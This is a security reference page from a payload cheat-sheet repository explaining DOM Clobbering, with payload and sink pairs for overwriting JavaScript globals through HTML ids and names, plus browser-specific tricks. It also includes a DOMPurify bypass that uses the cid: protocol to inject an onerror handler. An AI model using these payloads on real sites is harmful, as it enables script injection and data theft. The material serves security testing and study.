mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2026-03-12 13:13:00 -07:00

Files

Swissky 497fbe925b Archive external reference links via Wayback Machine

Replace direct URLs in Markdown references with their
web.archive.org equivalents to prevent link rot.

2026-03-09 13:02:28 +01:00

README.md

Archive external reference links via Wayback Machine

2026-03-09 13:02:28 +01:00

README.md

DOM Clobbering

DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.

Tools

SoheilKhodayari/DOMClobbering - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
yeswehack/Dom-Explorer - A web-based tool designed for testing various HTML parsers and sanitizers.
yeswehack/Dom-Explorer Live - Reveal how browsers parse HTML and find mutated XSS vulnerabilities

Methodology

Exploitation requires any kind of HTML injection in the page.

Clobbering x.y.value

// Payload
<form id=x><output id=y>I've been clobbered</output>

// Sink
<script>alert(x.y.value);</script>

Clobbering x.y using ID and name attributes together to form a DOM collection

// Payload
<a id=x><a id=x name=y href="Clobbered">

// Sink
<script>alert(x.y)</script>

Clobbering x.y.z - 3 levels deep

// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>

// Sink
<script>alert(x.y.z)</script>

Clobbering a.b.c.d - more than 3 levels

// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>

// Sink
<script>alert(a.b.c.d)</script>

Clobbering forEach (Chrome only)

// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>

// Sink
<script>x.y.forEach(element=>alert(element))</script>

Clobbering document.getElementById() using <html> or <body> tag with the same id attribute

// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>


// Sink 
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

Clobbering x.username

// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">

// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>

Clobbering (Firefox only)

// Payload
<base href=a:abc><a id=x href="Firefox<>">

// Sink
<script>
alert(x)//Firefox<>
</script>

Clobbering (Chrome only)

// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>

// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>

Tricks

DomPurify allows the protocol cid:, which doesn't encode double quote ("): <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">

README.md

DOM Clobbering

Summary

Tools

Methodology

Tricks

Labs

References